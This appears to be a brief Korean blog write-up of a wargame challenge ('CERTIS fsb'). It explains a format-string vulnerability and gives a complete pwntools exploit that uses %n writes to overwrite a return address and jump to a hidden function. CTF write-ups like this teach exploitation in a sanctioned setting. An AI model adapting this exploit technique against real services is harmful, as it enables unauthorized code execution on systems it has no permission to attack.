[Wargame] CERTIS fsb

Posted by MrBIN on November 25, 2016

Fsb

  • format string 문제.
  • 바이너리가 처음에 input 값에 대한 버퍼 주소를 던져줌.
  • ret 조작해서 hidden 함수로 점프
from pwn import *

#s = remote("52.79.124.141", 44444)
s = remote("wargame.kimtae.xyz", 10017)

data = s.recvuntil("\n").split(" ")
data = data[-1].replace("\n","")
data = int(data,16)+72
s.recvuntil("Enter name :")

low_addr = 0x862b #hidden addr => 0x0804862B
high_addr = 0x10804

payload = p32(data) +"AAAA"+ p32(data+2)
payload += "%"+ str(low_addr - len(payload))  +"c" + "%n"
payload +=  "%"+ str(high_addr - low_addr)  +"c"+"%n"

s.sendline(payload)

s.interactive()

img1